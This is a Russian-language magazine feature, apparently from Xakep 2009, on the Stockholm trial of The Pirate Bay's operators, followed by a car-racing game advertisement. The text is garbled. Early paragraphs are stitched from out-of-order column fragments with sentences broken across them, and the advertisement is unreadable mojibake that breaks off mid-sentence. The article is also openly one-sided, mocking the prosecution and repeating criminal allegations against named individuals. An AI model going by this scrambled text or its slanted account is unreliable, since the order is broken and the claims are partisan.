подсудимые, не изменяя себе, прибыли на<br />
безумном красном автобусе, от кабины до<br />
заднего бампера изрисованном граффити с<br />
логотипами сайта и надписями вроде: «All your<br />
base are belong to bus». Впоследствии автобус<br />
исполнял роль штаб-квартиры, пресс-центра<br />
и комнаты отдыха. На улице «героев» уже<br />
поджидали активисты с пиратскими флагами, а<br />
само заседание вызвало такой интерес, что на<br />
него даже продавали билеты, стоимостью около<br />
$60. Ряду особенно ярых сторонников трекера<br />
таким путем удалось попасть в здание суда, где<br />
они получили возможность слушать прямую<br />
аудио-трансляцию в специально отведенной<br />
для этого комнате.<br />
Впрочем, следить за ходом событий мог и весь<br />
прогрессивный мир. На twitter.com создали тэг<br />
#spectrial, по которому легко отслеживались<br />
все нужные записи, на самом TPB появился<br />
мира. Обвинение с первого же дня постаралось<br />
представить все так, будто держатели сайта не<br />
только преступают закон, но и зарабатывают на<br />
своем детище солидные деньги, в частности,<br />
размещая на сайте рекламу. The Pirate Bay<br />
назвали «состоятельной организованной преступной<br />
группой», которая извлекала из своей<br />
деятельности весомый доход.<br />
Так, представитель интересов IFPI<br />
(международная федерация грамзаписи)<br />
Питер Дановски заявил, что обвиняемые в<br />
состоянии покрыть большую часть суммы,<br />
заявленной в иске. Питер Сунде ехидно<br />
прокомментировал этот пассаж в Твиттере:<br />
с команды The Pirate Bay сняли, потому что<br />
обвинение не сумело доказать, что представленные<br />
в качестве улик .torrent-файлы<br />
использовались на TPB. Обвинитель даже не<br />
смог объяснить, как работает уже упомянутая<br />
технология DHT, позволяющая раздавать<br />
и качать файлы в обход трекера. Таким<br />
образом, пункт о «пособничестве в нарушении<br />
авторских прав» пришлось вычеркнуть,<br />
оставив только «пособничество в предоставлении<br />
доступа». В IFPI, однако, попытались<br />
сохранить лицо и сделать вид, что «так надо».<br />
Спешно было выпущено заявление, где<br />
говорилось, что все эти технические вопросы<br />
только усложняли работу обвинения, к делу<br />
относились лишь косвенно, и вообще, — без<br />
них будет даже проще сосредоточить все<br />
внимание на основной проблеме — предоставлении<br />
доступа к защищенным копирайтом<br />
материалам. Почему-то заявлению никто<br />
не поверил, а весь интернет покатывался со<br />
смеху, полностью разделяя позицию Сунде,<br />
Чтобы поддержать TPB, шведы снова вышли на улицы<br />
Роджер Уоллис и его супруга<br />
раздел trial.thepiratebay.org, куда стекались<br />
самые последние новости, плюс заседание широко<br />
освещалось прессой и блогерами во всех<br />
возможных форматах. Аудиостримминг из зала<br />
суда переводился добровольцами на 15 языков<br />
«Если я действительно заработал всю исковую<br />
сумму, то меня, видимо, кто-то ограбил».<br />
Однако все эти громкие заявления изрядно<br />
портил тот факт, что обвинение с самого начала<br />
стало демонстрировать полную безграмотность<br />
в технических вопросах. Эксперты, путающие<br />
мегабиты с мегабайтами, дискеты с дисками и<br />
не могущие объяснить, как работает технология<br />
DHT, вряд ли имеют право называться<br />
«экспертами». И уже на второй день слушаний<br />
это действительно вышло им боком.<br />
Семнадцатое февраля принесло миру удивительную<br />
новость — половину обвинений<br />
который на этот раз отписал в Твиттере: «EPIC<br />
WINNING LOL».<br />
IFPI продолжила гнуть свое, заявив, что одна<br />
загрузка равняется одной потерянной продаже,<br />
а сумма, заявленная в иске, примерно<br />
КТО ЗАДЕЙСТВОВАН В МАССОВКЕ?<br />
Всего в иске фигурируют 4 программы,<br />
9 фильмов и 22 музыкальных<br />
произведения.<br />
Иск против The Pirate Bay поддержан<br />
следующими свидетелями<br />
обвинения:<br />
IFPI (международная федерация<br />
грамзаписи):<br />
• Sony BMG Music Entertainment<br />
Sweden AB,<br />
• Universal Music AB,<br />
• Playground Music Scandinavia AB,<br />
• Bonnier Amigo Music Group AB,<br />
• EMI Music Sweden AB,<br />
• Warner Bros. Music Sweden AB;<br />
Antipiratbyran (Антипиратское<br />
бюро Швеции):<br />
• Yellow Bird Films AB,<br />
• Nordisk Film,<br />
• Henrik Danstrup;<br />
MAQS Law Firm Advokatbyra KB:<br />
• Warner Bros. Entertainment Inc,<br />
• MGM Pictures Inc,<br />
• Columbia Pictures Industries Inc,<br />
• 20th Century Fox Films Co,<br />
• Mars Media Beteiligungs GmbH &<br />
Co Filmproduktions,<br />
• Blizzard Entertainment Inc,<br />
• Sierra Entertainment Inc,<br />
• Activision Publishing Inc.<br />
Фильмы, фигурирующие в иске:<br />
• Kurt Wallander:<br />
Wallander — Den svaga punkten<br />
Wallander — Afrikanen<br />
Wallander – Mastermind<br />
• Pusher III<br />
• Гарри Поттер и кубок огня<br />
• Розовая пантера<br />
• Переступить черту<br />
Телесериалы, фигурирующие в<br />
иске:<br />
• Prison Break (первый сезон,<br />
эпизоды 1—13)<br />
Компьютерные игры, фигурирующие<br />
в иске:<br />
• Call of Duty 2<br />
• Diablo II<br />
• F.E.A.R.<br />
• World of Warcraft<br />
074<br />
XÀÊÅÐ 04 /124/ 09
сцена<br />
равна стоимости всех лицензий, которые понадобились бы TPB для<br />
легального распространения музыки. Трекер, по сути, предложили<br />
приравнять к организациям, на которые распространяется «лицензия<br />
на глобальную дистрибуцию» (global distribution license).<br />
Согласно этому, IFPI, например, требует за песню Beatles «Let it Be»<br />
возмещения ущерба в десятикратном размере, так как музыку этой<br />
группы легально скачать из Сети невозможно. Последнее вызвало<br />
особенно много насмешек и комментариев в духе: «Вы же сами<br />
заставляете нас воровать».<br />
Особенно забавно, что в тот же день компания Sony и Антипиратское бюро<br />
Швеции (Svenska Antipiratbyran) отметили хамство, демонстрируемое TPB<br />
в общении с правообладателями. Они завели речь не только о материальных<br />
убытках, но и об ущербе, нанесенном их репутации. Был ущерб или<br />
нет — решать, разумеется, суду, но определенно, пора бы им намекнуть,<br />
что ущерб собственной репутации наносят разве что они сами, например,<br />
демонстрируя всему миру свою техническую безграмотность.<br />
ЗАЩИТА КИНГ-КОНГА Весьма сомнительным «достижением»<br />
обвинения стало и выступление адвоката от киноиндустрии Моники<br />
Вадстед (Monique Wadsted). Эта дама является активным членом секты<br />
Рона Хаббарда — «Церковь сайентологии» и часто представляет ее в<br />
суде. Упустить такой повод было никак нельзя, и на главной странице<br />
TPB появилась картинка, на которой Том Круз (тоже ярый сайентолог) и<br />
мисс Вадстед стоят в обнимку с гуманоидом Ксену (Xenu) — инопланетным<br />
властелином «Галактической Империи». Дело в том, Рон Хаббард<br />
был еще и фантастом. Согласно вере сайентологов и тому, что Хаббард<br />
описал в формате космооперы — 75 миллионов лет назад Ксену был<br />
военным диктатором и руководил «Галактической Империей». Подавляя<br />
проявления инакомыслия среди своего народа, он спровоцировал<br />
массовые протесты и, не долго думая, арестовал всех, кто принимал в<br />
них участие. Проштрафившихся привезли на планету Тиджиек, то есть,<br />
на Землю и по прибытии разметили вокруг вулканов. После этого Ксену<br />
«покарал» неверных водородными бомбами, собрал их души и внедрил<br />
в тела людей.<br />
Да, сайентологи на самом деле в это верят и еще запрещают нам ковыряться<br />
в носу, то есть, качать файлы. Кстати, отдельного упоминания<br />
достойно и то, что на главной странице трекера Ксену предстал в том<br />
же образе, каким его нарисовали создатели сериала South Park. А из<br />
фамилии Моники пропала буква «D» (получившееся слово «wasted»<br />
переводится как «напрасная трата»).<br />
Как выяснилось позже, поклонниками «Южного парка» оказались не<br />
только подсудимые, но и, по крайней мере, один из их адвокатов. Получив<br />
от суда слово, защита проводила аналогии с Google, утверждая,<br />
что .torrent-файлы не принадлежат TPB, а трекер просто исполняет<br />
роль поисковика. К тому же, в ЕС провайдер не несет ответственности<br />
за передаваемый контент, если сам не является инициатором<br />
раздачи. И когда очередь дошла до адвоката Лундстрема — Пера<br />
Самуэльсона, он сделал то, что тут же получило название «защита<br />
Кинг-конга». Это — прямая отсылка к «Южному парку», где в одном из<br />
эпизодов демонстрировалась «защита Чубакки». Суть этой стратегии<br />
можно охарактеризовать, как «кто-то доказывает свою точку зрения с<br />
помощью утверждений настолько абсурдных, что сознание слушателя<br />
отключается» (с) Эллис Уинер. В South park адвокат показывал<br />
присяжным изображение Чубакки и спрашивал, почему большой,<br />
двухметровый вуки Чубакка живет на Эндоре вместе с маленькими<br />
эвоками? Потом адвокат говорил, что — во время суда по делу об<br />
авторском праве он завел разговор о Чубакке, а в этом нет никакого<br />
смысла. А значит, и в самом деле нет никакого смысла, и, раз Чубакка<br />
живет на Эндоре, подсудимого надо оправдать.<br />
Самуэльсон же сказал следующее: «Инструкция ЕС 2000/31/EG<br />
гласит, что провайдер информационных услуг не несет ответственности<br />
за передаваемые данные. Ответственность наступает лишь<br />
в случае, если провайдер сам инициирует передачу, но администраторы<br />
The Pirate Bay этого не делали. Это делали пользователи<br />
— живые люди, которых можно идентифицировать. Они называют<br />
себя именами вроде Кинг-Конг. ...Согласно букве закона, обвинения<br />
должны быть направлены против конкретного человека, а<br />
Антипиратская демонстрация, 2006 год<br />
XÀÊÅÐ 04 /124/ 09<br />
Адвокаты защиты. Слева направо: Питер Алсин, Йонас Нилльсон, Ола<br />
Соломонссон<br />
между преступником и соучастниками должна прослеживаться<br />
очевидная связь. Такой связи представлено не было. Прокурор<br />
должен доказать, что Карл Лундстрем лично общался с пользователем<br />
Кинг-Конгом, который вполне может находиться, например,<br />
где-нибудь в джунглях Камбоджи».<br />
Далее суд, наконец, добрался до самих обвиняемых, и начались<br />
допросы, в ходе которых Лундстрема пытались представить хозяином<br />
и спонсором TPB, ведь он даже оплачивал из своего кармана оборудование<br />
для «Бухты». Лундстрем парировал, сказав, что в будущем<br />
действительно планировал покрыть эти убытки, размещая рекламу на<br />
сайте, но никогда не стремился стать полноправным партнером ребят по<br />
проекту и уж точно — не участвовал в деятельности TPB из политических<br />
соображений. Более того, защита еще раз подчеркнула, что, с точки<br />
зрения шведского законодательства, деятельность трекера абсолютно<br />
легальна, так как на серверах TPB не хранится файлов, нарушающих<br />
чьи-либо права на интеллектуальную собственность. А значит, Лундстрем<br />
действовал как обычный бизнесмен, не больше и не меньше.<br />
В отношении троих админов — обвинение пыталось расставить точки<br />
на i и выяснить, какую роль в жизни сайта играет каждый из них. Плюс,<br />
их старались подловить, выпытывая, знали ли они, что через их ресурс<br />
проходит огромное количество нелегальных материалов, и, если да, то<br />
почему ничего в этой связи не предпринимали. Защита ответствовала,<br />
что из 1000 случайных торрентов, взятых с TPB, 80% не нарушали копи-<br />
075
сцена<br />
райтов, и снова посоветовала обвинению обратить внимание на Google,<br />
при помощи которого можно найти гораздо больше контрафакта, или<br />
на YouTube, где нелегален едва ли не каждый второй ролик. Сделали и<br />
акцент и на том, что для обмена .torrent-файлами нет необходимости<br />
пользоваться The Pirate Bay, ведь с тем же успехом .torrent-файл можно<br />
выложить на FTP или прислать по электронной почте.<br />
Так же обвинение затронуло серьезный вопрос о детской порнографии,<br />
уже ставший любимым пугалом нашего времени. Админы честно<br />
ответили, что обо всех обнаруженных раздачах такого рода сообщают в<br />
полицию. Обвинение попыталось настаивать и уточнило — удаляются<br />
ли такие раздачи с ресурса? Готтфрид ответил: «Некоторые», и тут же<br />
был вынужден пояснить, что самостоятельно расследованием таких<br />
случаев администрация TPB заниматься не может, поэтому передает<br />
данные полиции, и если полиция, в свою очередь, просит удалить<br />
торрент, то он удаляется.<br />
Вообще, обвинение опять демонстрировало себя не с самой<br />
выгодной стороны. Например, несколько раз обвинители попытались<br />
приобщить к делу не заявленные ранее улики, нарушая<br />
протокол. В итоге, суд вообще был вынужден сделать выговор<br />
адвокатам со стороны обвинения и попросить их перестать<br />
вести себя, как в американском суде. Так, мисс Вадстед до этого<br />
попыталась просто перекричать судью, а представляющий IFPI<br />
Питер Дановски порывался упирать на политическую подоплеку<br />
происходящего. Он цитировал некоторые записи Питера Сунде,<br />
сделанные им в личном блоге Brokep.com, и задавал вопросы<br />
относительно его доклада, который носил характерное название:<br />
«Как разоружить миллиардную индустрию».<br />
Черту под первой неделей слушаний подвела, опять же, мисс Вадстед,<br />
поинтересовавшаяся у Карла Лундстрема, почему он, солидный бизнесмен<br />
48 лет, вообще общается с молодыми ребятами из команды TPB?<br />
Адвокат Лундстрема заявил, что его клиент не станет отвечать на этот<br />
вопрос, после чего в заседании был объявлен перерыв.<br />
ВТОРОЙ РАУНД: ДЕНЬГИ VS ЛОГИКА Вторая неделя не<br />
принесла кардинальных перемен в стратегиях сторон. Обвинение<br />
по-прежнему заставляло весь мир недоуменно вопрошать: «Они это<br />
серьезно?», а защита держалась уверенно и ровно. Открыли слушания<br />
показания двух свидетелей со стороны обвинения: Магнуса Мартенссона<br />
(Magnus Martensson) — юриста из IFPI, который уже 15 лет специализируется<br />
на нарушении авторских прав, и Андерса Нильссона (Anders<br />
Nilsson) — полицейского из Антипиратского бюро. Оба, по заданию<br />
«сверху», в целях эксперимента, скачивали нелегальные материалы<br />
с TPB, о чем и поведали суду, предоставив в качестве доказательств...<br />
скриншоты. Обвинение в очередной раз село в лужу, и помог ему Готтфрид<br />
Свартхольм. Он задал свидетелю один простой вопрос, спровоцировав<br />
нижеследующий диалог.<br />
Готтфрид: Перед тем, как сделать скриншот, вы отключили DHT и Peer<br />
Exchange?<br />
Мартенссон: DHT явно был включен. Я же хотел походить на обычного<br />
пользователя.<br />
Готтфрид: Говоря другими словами, вы не могли проверить, использовался<br />
ли трекер?<br />
Мартенссон: Адрес трекера присутствовал на экране. Исходя из этого, я<br />
предположил, что он каким-то образом используется.<br />
Готтфрид: Но, раз у вас был включен DHT, значит, вы не можете доказать,<br />
что использовали при скачивании файлов трекер The Pirate Bay или нет?<br />
Мартенссон: Нет.<br />
Со вторым свидетелем все повторилось, — он тоже не смог представить<br />
нормальных доказательств, что «Пиратская бухта» участвовала в процессе<br />
скачивания файлов. Выяснилось, что никаких логов у обвинения<br />
нет, закачка нелегального контента никак не протоколировалась, не считая<br />
упомянутых картинок. Защита, довольная результатом, не преминула<br />
подчеркнуть, что TPB не является начальной точкой распространения<br />
контрафактной продукции, и все упомянутые материалы можно было<br />
скачать из Сети и ранее.<br />
Настоящим «звездным днем» процесса стало 25-е февраля. В этот<br />
Моника Вадстед без Тома Круза и Ксену<br />
день показания давали сильные мира сего лично. В суд явились: Джон<br />
Кеннеди (John Kennedy), генеральный директор IFPI; Пер Сундин (Per<br />
Sundin), генеральный директор Universal Music; Бертил Санндгрен<br />
(Bertil Sandgren), один из директоров «Шведского института кинематографии»<br />
(Svenska Filminstitutet) и Людвиг Вернер (Ludwig Werner) из<br />
шведского представительства IFPI.<br />
Говорили они на удивление однообразно, по одинаковой схеме. Сначала<br />
в красках описывали, какие чудовищные убытки наносит им файлообмен,<br />
как из-за этого страдают продажи, хотя интерес к музыке, напротив,<br />
растет, и так далее. Суть речей сводилась к одному: «как же нам надоели<br />
ваши интернеты, вот бы их все взять и закрыть». Но как только упомянутым<br />
господам начинали задавать вопросы по существу и просили<br />
хотя бы обрисовать механизм работы торрента, можно было видеть уже<br />
привычную картину — полное непонимание и бессвязные отговорки.<br />
Вменяемого ответа на вопрос, как можно обвинять в чем-то The Pirate<br />
Bay, не понимая даже базовых принципов его работы, тоже добиться, не<br />
удалось. Магнаты вместо этого апеллировали «фактами» в духе: «я знаю,<br />
что через thepiratebay.org нелегально распространяют музыку» (откуда<br />
взялось это знание — загадка), или: «50% убытков медиа-корпорации<br />
несут из-за деятельности thepiratebay.org». По поводу последнего Сунде<br />
прокомментировал в Твиттере: «Шикарно, теперь осталось только доказать<br />
влияние пиратов на климат».<br />
Почему обвинение с таким небрежением отнеслось к подготовке и продолжало<br />
допускать настолько глупые промахи, решительно непонятно.<br />
Со стороны все это походило на фарс или комедию абсурда. В итоге, первого<br />
грамотного специалиста (не считая, конечно, самих обвиняемых)<br />
суду удалось увидеть только на 9-й день разбирательства. И, разумеется,<br />
им стал свидетель защиты.<br />
Хотя правильнее будет сказать, что первого вменяемого специалиста суд<br />
не увидел, а услышал — с Кристофером Шоллином (Kristoffer Schollin),<br />
доктором философии из Университета Гетеборга, связались по телефону.<br />
Разговор продолжался почти два часа, и Шоллин успел популярно<br />
рассказать и о работе технологии BitTorrent, и о том, что сами по себе<br />
торрент-клиенты и трекеры безвредны и даже удобны, недаром ими<br />
пользуются такие огромные корпорации, как Intel или Blizzard. Также<br />
Кристофер поделился мыслью, что трекеры, по сути, исполняющие<br />
сейчас роль поисковиков торрентов, вскоре исчезнут вовсе. Поиск будет<br />
производиться прямо из клиентской программы, или же через Google,<br />
который на текущий момент прекрасно справляется с этой задачей.<br />
ЦВЕТОЧНАЯ БУРЯ После Кристофера Шоллина слово перешло<br />
ко второму свидетелю защиты, совершенно потрясающему человеку и<br />
настоящему герою процесса — Роджеру Уоллису (Roger Wallis), профессору<br />
Королевского технологического института. Роджеру сейчас 68 лет и 40 из<br />
076<br />
XÀÊÅÐ 04 /124/ 09
сцена<br />
знали, что на следующий день после визита в суд профессор Уоллис и<br />
его жена Йорель как раз собирались отметить 39-ю годовщину своей<br />
свадьбы. Когда это открылось, поток флоры хлынул с удвоенной силой :).<br />
К вечеру праздничного дня чета получила цветов на сумму почти 6.000<br />
евро. Смеясь, они советовали активистам начинать слать вазы, потому<br />
что вся тара в доме уже закончилась.<br />
Карл Лундстрем<br />
«КАК ЖЕ НАМ НАДОЕЛИ ВАШИ<br />
ИНТЕРНЕТЫ, ВОТ БЫ ИХ ВСЕ<br />
ВЗЯТЬ И ЗАКРЫТЬ».<br />
них он потратил на исследования в сфере новых технологий. Он является<br />
автором ряда книг и исследований, а также входит в совет правительства<br />
по вопросам IT. Помимо перечисленного, Уоллис успел стать композитором,<br />
автором песни, с которой Швеция выступала в 1969 на Евровидение, и<br />
основателем рекорд-компании.<br />
Его взвешенные, подкрепленные цифрами и знанием темы аргументы<br />
настолько взбудоражили обвинителей, что допрос они вели в откровенно<br />
хамской манере. Роджер сказал, что никогда не слышал об исследованиях,<br />
согласно которым запрет файлообмена мог бы привести к росту продаж<br />
CD-дисков. Он заметил, что продажи падают отнюдь не только из-за пиратов,<br />
но и потому что устаревают сами носители информации. Прогресс — чудовищная<br />
сила, люди переходят на mp3-плееры, потому что это удобно, и они<br />
предпочитают качать файлы из Сети, потому что это тоже удобно и быстро.<br />
Уоллис даже осмелился заговорить о пользе файлообмена. Он сослался на<br />
свои исследования 3-летней давности, которые однозначно свидетельствуют<br />
— люди, качающие файлы из Сети, покупают больше других и гораздо<br />
чаще посещают концерты. То есть, денежные потоки никуда не исчезли, они<br />
просто сменили русло, и теперь деньги идут в обход длинной цепочки продюсеров,<br />
рекорд-компаний и иже с ними (к огромному неудовольствию последних).<br />
Роджер не оставил без внимания и тот факт, что в Швеции существует<br />
специальный налог на каждый проданный mp3-плеер или «болванку», благодаря<br />
которому правообладатели все равно получают свое, сколько бы они<br />
ни пытались доказать обратное. В ответ на это обвинение не нашло ничего<br />
лучше, как попытаться поставить под сомнение степень профессора и<br />
засыпать его оскорбительными вопросами личного характера. Обвинители<br />
вели себя настолько некорректно, что судья даже посоветовал Уоллису<br />
подать в суд на представителя «Антипиратского бюро» Хенрика Понтена, и<br />
поинтересовался, не желает ли Роджер получить какую-то компенсацию.<br />
В ответ Уоллис пошутил, сказав: «Пошлите моей жене цветы».<br />
Вряд ли Роджер предполагал, что с тысячи людей по всему миру, пристально<br />
следящие за ходом процесса в онлайне, воспримут его шутку<br />
как сигнал к действию и моментально организуют спецоперацию-флешмоб<br />
под названием flowerstorm — «цветочная буря». Волна позитива,<br />
воплотившегося в цветочных букетах, буквально захлестнула пожилую<br />
пару — цветы начали приносить уже спустя пару часов после оброненной<br />
Уоллисом фразы. Интернет готов был носить его на руках, после<br />
настолько смелого и сильного выступления. И вряд ли флешмоберы<br />
XÀÊÅÐ 04 /124/ 09<br />
FINITA LA COMEDIA После светлого эпизода с «цветочной бурей»<br />
наступила черная полоса. Допросив Уоллиса, обвинители переключились<br />
на Готтфрида и Фредрика. Теперь речь шла не о TPB — просто на этих двоих<br />
обвинению удалось раскопать компромат. У Готтфрида еще при рейде в<br />
2006 году нашли марихуану и амфетамины, а Нейж якобы успел поучаствовать<br />
в краже со взломом в 2002. Дело Фредерика на сегодня уже закрыто,<br />
да и ничего серьезного там, судя по всему, не было — в нетрезвом виде<br />
выломали дверь у какого-то знакомого и зачем-то унесли его компьютер,<br />
который потом и обнаружился у Нейжа. У Готтфрида все выглядит серьезнее,<br />
так как это уже «хранение наркотиков», но Свартхольм, разумеется,<br />
все отрицает, ссылаясь на гостей, которые часто у него останавливаются.<br />
Последующие два дня обвинение и защита поочередно подводили<br />
итоги, обращаясь к суду с финальными речами. Ничего нового, в общемто,<br />
не прозвучало. Обвинение, сгущая краски, живописало мистические<br />
миллионные доходы команды TPB и вещало о «вреде интернетов» и<br />
файлообмена, требуя посадить обвиняемых хотя бы на год. Не преминули<br />
представители Голливуда и снова пройтись по Роджеру Уоллису,<br />
теперь уже за глаза облив профессора грязью. Защита, в свою очередь,<br />
указала на чудовищные дыры в стратегии обвинителей, еще раз<br />
популярно объяснив, что на серверах «Пиратской бухты» нет никакого<br />
контрафакта и напомнив о Шведском законодательстве, согласно<br />
которому трекер — чист. Говорили защитники и о прогрессе, и о том, что<br />
нельзя отказываться от новых технологий лишь потому, что какой-то<br />
процент населения может использовать их в преступных целях. Было<br />
замечено, что четверке так и не предъявили никаких личных обвинений,<br />
и осталось совершенно неясно, кто и что именно нарушал. Более того,<br />
адвокат Питера Сунде — Питер Алсин — заявил, что сделает все, чтобы<br />
восстановить репутацию Роджера Уоллиса, чьи данные, по его мнению,<br />
были достовернее отчетов IFPI.<br />
Суд сообщил, что огласит вердикт 17-го апреля в 13:00 по московскому<br />
времени, и заседание закрылось.<br />
Каково будет решение суда — неизвестно, но у ребят есть все шансы выиграть<br />
это дело, создав совершенно уникальный прецедент, на который<br />
потом будут опираться по всему миру.<br />
Правы ли они, и так ли уж беспочвенны выдвинутые против них<br />
обвинения? В конце концов, на TPB действительно есть реклама,<br />
приносящая администрации сайта определенный доход (пусть и не<br />
те золотые горы, о которых шла речь), а через трекер действительно<br />
проходит прорва контрафакта. На эти вопросы очень сложно ответить,<br />
потому что они затрагивают всю сложившуюся систему защиты<br />
авторских прав и прав на интеллектуальную собственность в целом.<br />
Сложно поспорить с тем, что система действительно устарела, а<br />
законы в США чудовищны. Сложно не видеть, что медиа-холдинги<br />
США тесно связаны с политикой и стремятся расширить свое влияние<br />
на Европу, повернув тамошнюю ситуацию аналогичным образом.<br />
Голливуд и компания сейчас активно сражаются с ветряными мельницами<br />
прогресса, демонстрируя при этом как откровенное неуважение<br />
к конечным пользователям собственной продукции, так и полную<br />
техническую безграмотность. Просто почитав сводки о процессе<br />
по делу TPB, задумываешься, — и почему я должен платить ЭТИМ<br />
людям? Не авторам музыки, не актерам и не режиссерам фильмов, а<br />
вот этим безграмотным хамам, которые стоят у руля индустрии и не<br />
желают сдавать позиций. Конечно, призывать к повальной халяве и<br />
анархии в Сети тоже глупо. Хочется верить, что The Pirate Bay сможет<br />
создать прецедент, который со временем позволит изменить существующую<br />
драконовскую систему и поможет информационному обмену<br />
стать свободнее. И, пожалуй, не столь уж важно, сколько админы TPB<br />
заработали на рекламе — их вклад в «освобождение информации» в<br />
любом случае сложно переоценить. z<br />
077
Ðåêëàìà<br />
MAXI Racing
Ñïîíñîðû ðóáðèêè<br />
Æóðíàë MAXI tuning ñîâìåñòíî<br />
ñ îäíèì èç ëèäåðîâ Car Audio &<br />
Mobile Media – êîìïàíèåé Alpine,<br />
à òàêæå Opel, ðàçâëåêàòåëüíûì<br />
ïîðòàëîì MSN.ru è ñòðàõîâûì ïàðòíåðîì ÐÎÑÍÎ<br />
ïðåäñòàâëÿþò ñàìûé óâëåêàòåëüíûé ïðîåêò ãîäà.<br />
Èãðà MAXI Racing – ýòî âèðòóàëüíûé ñèìóëÿòîð<br />
ãîíîê íà 402 ìåòðà. Ýòî ïüÿíÿùàÿ ñìåñü àçàðòà,<br />
ðèñêà, ñêîðîñòè è áåñêîíå÷íîãî òþíèíãà. Ïðèøëî<br />
âðåìÿ MAXI Racing!<br />
Äëÿ òîãî ÷òîáû ïîïàñòü â ýòîò èãðîâîé ìèð òåáå<br />
íåîáõîäèìû ëèøü Èíòåðíåò è íåìíîãî ñâîáîäíîãî<br />
âðåìåíè. Ïåðåä òåì, êàê îùóòèòü âêóñ ïîáåä,<br />
ñìåëîñòü ïðîòèâíèêîâ è ðàçìåð âûèãðûøà, òåáå<br />
íåîáõîäèìî ëèøü ïðîéòè íåñëîæíóþ ðåãèñòðàöèþ<br />
íà ñàéòå èãðû, óêàçàâ ñâîè ïåðñîíàëüíûå äàííûå.<br />
Çàòåì â òâîåì ðàñïîðÿæåíèè îêàçûâàþòñÿ ïðîñòîðíûé<br />
ãàðàæ è íåáîëüøîé ïåðâîíà÷àëüíûé êàïèòàë,<br />
êîòîðûé äàñò òåáå âîçìîæíîñòü ïðèîáðåñòè àâòîìîáèëü!<br />
 âèðòóàëüíîì àâòîìàãàçèíå (à èìåííî<br />
òóäà òû è äîëæåí îòïðàâèòüñÿ) äëÿ òåáÿ ñìîäåëèðîâàíû<br />
âñå ïðåäñòàâèòåëè «çàðÿæåííîé» ñåðèè<br />
OPC îò Opel! Òàì æå òû ìîæåøü îçíàêîìèòüñÿ ñ<br />
òåõíè÷åñêèìè õàðàêòåðèñòèêàìè êàæäîé èç íèõ.<br />
Ýòè àâòî äåéñòâèòåëüíî î÷åíü õîðîøè â äåëå! Íî,<br />
ïðè âñåì áîãàòñòâå âûáîðà êóïèòü ñàìûé äîðîãîé<br />
è ìîùíûé âàðèàíò âðîäå Opel Vectra OPC èëè<br />
Zafira OPC òåáå ñðàçó íå óäàñòñÿ. Ïîýòîìó íà÷èíàòü,<br />
ñêîðåå âñåãî, ïðèäåòñÿ ñ ìàëûøà Opel Corsà.<br />
Ïîñëå ïðèîáðåòåíèÿ àâòî íàñòàåò ñàìîå âàæíîå<br />
äëÿ òåáÿ äåéñòâî – òþíèíã. Âñå äåòàëè â èãðå<br />
ïîäåëåíû íå òîëüêî ïî îáëàñòè ïðèìåíåíèÿ,<br />
íî è ïî ñòåïåíè êðóòèçíû è âàæíîñòè. Äëÿ òîãî<br />
÷òîáû ïðèîáðåñòè ïîíðàâèâøèéñÿ òþíèíãîâûé<br />
êîìïîíåíò, íåîáõîäèìî âñåãî ëèøü êëèêíóòü ïî<br />
íåìó ìûøêîé â îêíå ìàãàçèíà çàï÷àñòåé, è îí<br />
àâòîìàòè÷åñêè áóäåò óñòàíîâëåí íà òâîé àâòîìîáèëü.<br />
Âñå î÷åíü ïðîñòî! Ðàçóìååòñÿ, âûáîð áóäåò<br />
îãðàíè÷åí ñòàðòîâîé ñóììîé, êîòîðàÿ íå ïîçâîëèò<br />
òåáå âíåäðèòü âñå ñàìîå êðóòîå. Ïîýòîìó âûáèðàé<br />
ãðàìîòíî. Â ïðîöåññå òþíèíãà íå îáõîäè ñòîðîíîé<br />
ôèðìåííûé ìàãàçèí Alpine, ñìîäåëèðîâàííûé â<br />
èãðå! Ñïåöèàëüíî ðàçðàáîòàííûå ìóëüòèìåäèéíûå<br />
ñèñòåìû, êîòîðûå òåáå ïðåäëîæàò óñòàíîâèòü â<br />
àâòîìîáèëü, ïîìîãóò ïðèáëèçèòüñÿ ê æåëàåìîé<br />
ïîáåäå â ãîíêå. Äëÿ êàæäîé ìîäåëè àâòîìîáèëÿ<br />
ñóùåñòâóåò ñâîé âàðèàíò èíñòàëëÿöèè: ÷òîáû ïîðàäîâàòü<br />
òåáÿ ñóìàñøåäøèì çâóêîì è âïå÷àòëÿþùèì<br />
âèäåî, ñïåöèàëèñòû Alpine ïîñòàðàëèñü íà ñëàâó.<br />
 çàâèñèìîñòè îò óðîâíÿ ñèñòåìû – «Ëþáèòåëü»,<br />
«Ìàñòåð» èëè «Ýêñïåðò» – âîçðàñòàåò óðîâåíü<br />
àäðåíàëèíà, à, ñëåäîâàòåëüíî, è òâîé àçàðò è âåçó-<br />
÷åñòü â ãîíêå. Êîíå÷íî æå, ÷åì êðó÷å ñèñòåìà, òåì<br />
îíà äîðîæå, íî âåäü çà ïîáåäó â çàåçäå íå æàëêî<br />
íèêàêèõ äåíåã. Êðîìå òîãî, êàæäûé ìåñÿö ó òåáÿ<br />
áóäåò âîçìîæíîñòü ïîó÷àñòâîâàòü â ñïîíñîðñêèõ<br />
«Ñóïåðêóáêàõ Alpine»! Òîëüêî â äíè ïðîâåäåíèÿ<br />
êóáêà â «Ìàãàçèíå Alpine» òåáå îòêðîåòñÿ ñåêðåòíûé<br />
ðàçäåë ñ ñóïåðêîìïëåêòîì AlpineF#1Status.<br />
Ýòà âåùü åùå áîëüøå óâåëè÷èò òâîè øàíñû íà<br />
ïîáåäó – äî äåñÿòè ðàç!<br />
Êðîìå òîãî, îäèí èç ëèäåðîâ ðîññèéñêîãî ðûíêà<br />
ñòðàõîâàíèÿ, êîìïàíèÿ ÐÎÑÍÎ ïðåäîñòàâëÿåò<br />
òåáå øàíñ âûèãðàòü ñåðòèôèêàò, ïîçâîëÿþùèé ïîëó÷èòü<br />
ñêèäêó äî 50 000 ðóáëåé íà ïðèîáðåòåíèå<br />
ïîëèñà ÊÀÑÊÎ! Äëÿ ýòîãî íåîáõîäèìî âñåãî ëèøü<br />
çàðåãèñòðèðîâàòüñÿ â ñïåöèàëüíîì îêîøêå «Âûèãðàé<br />
ñòðàõîâîé ñåðòèôèêàò ÐÎÑÍλ â âèðòóàëüíîì<br />
àâòîìàãàçèíå.<br />
Âñå ÿñíî? Òîãäà èäåì äàëüøå. Äëÿ òîãî ÷òîáû ïðåòåíäîâàòü<br />
íà ñàìîå ëó÷øåå è äîðîãîå, òåáå íóæíû<br />
äåíüãè. Çàðàáîòàòü èõ â èãðå ìîæíî òîëüêî îäíèì<br />
ñïîñîáîì – ó÷àñòèåì â çàåçäàõ. Çàåçäû ìîãóò<br />
